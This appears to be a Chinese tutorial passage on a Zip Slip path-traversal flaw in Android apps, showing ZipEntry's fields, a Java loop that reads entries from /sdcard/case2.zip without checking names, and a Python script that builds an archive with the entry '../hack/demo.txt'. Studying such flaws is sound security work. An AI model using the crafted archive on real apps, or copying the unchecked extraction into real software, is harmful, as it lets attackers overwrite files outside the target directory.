漏洞实战部分2-安卓应用ZipEntry对象问题实战

/ This class is used to represent a ZIP file entry.// Author:// David Connellypublicclass ZipEntry implements ZipConstants, Cloneable {    String name;        // entry name    long xdostime = -1; // last modification time (in extended DOS time,                        // where milliseconds lost in conversion might                        // be encoded into the upper half)    FileTime mtime;     // last modification time, from extra field data    FileTime atime;     // last access time, from extra field data    FileTime ctime;     // creation time, from extra field data    long crc = -1;      // crc-32 of entry data    long size = -1;     // uncompressed size of entry data    long csize = -1;    // compressed size of entry data    int method = -1;    // compression method    int flag = 0;       // general purpose flag    byte[] extra;       // optional extra field data for entry    String comment;     // optional comment string for entry    // Android-added: Add dataOffset for internal use.    // Used by android.util.jar.StrictJarFile from frameworks.    long dataOffset;

FileInputStream fileinputstream = new FileInputStream("/sdcard/case2.zip");  ZipInputStream zipInputStream = new ZipInputStream(fileinputstream);  ZipEntry zipEntry;  while ((zipEntry = zipInputStream.getNextEntry()) != null) {    ...

import zipfile
if __name__ == "__main__":    try:        binary = 'hello hack'        zipFile = zipfile.ZipFile("case2.zip","a",zipfile.ZIP_DEFLATED)        zipfile.ZipInfo("case2.zip")        zipFile.writestr("../hack/demo.txt",binary)        zipFile.close()
    except IOError as e:        raise e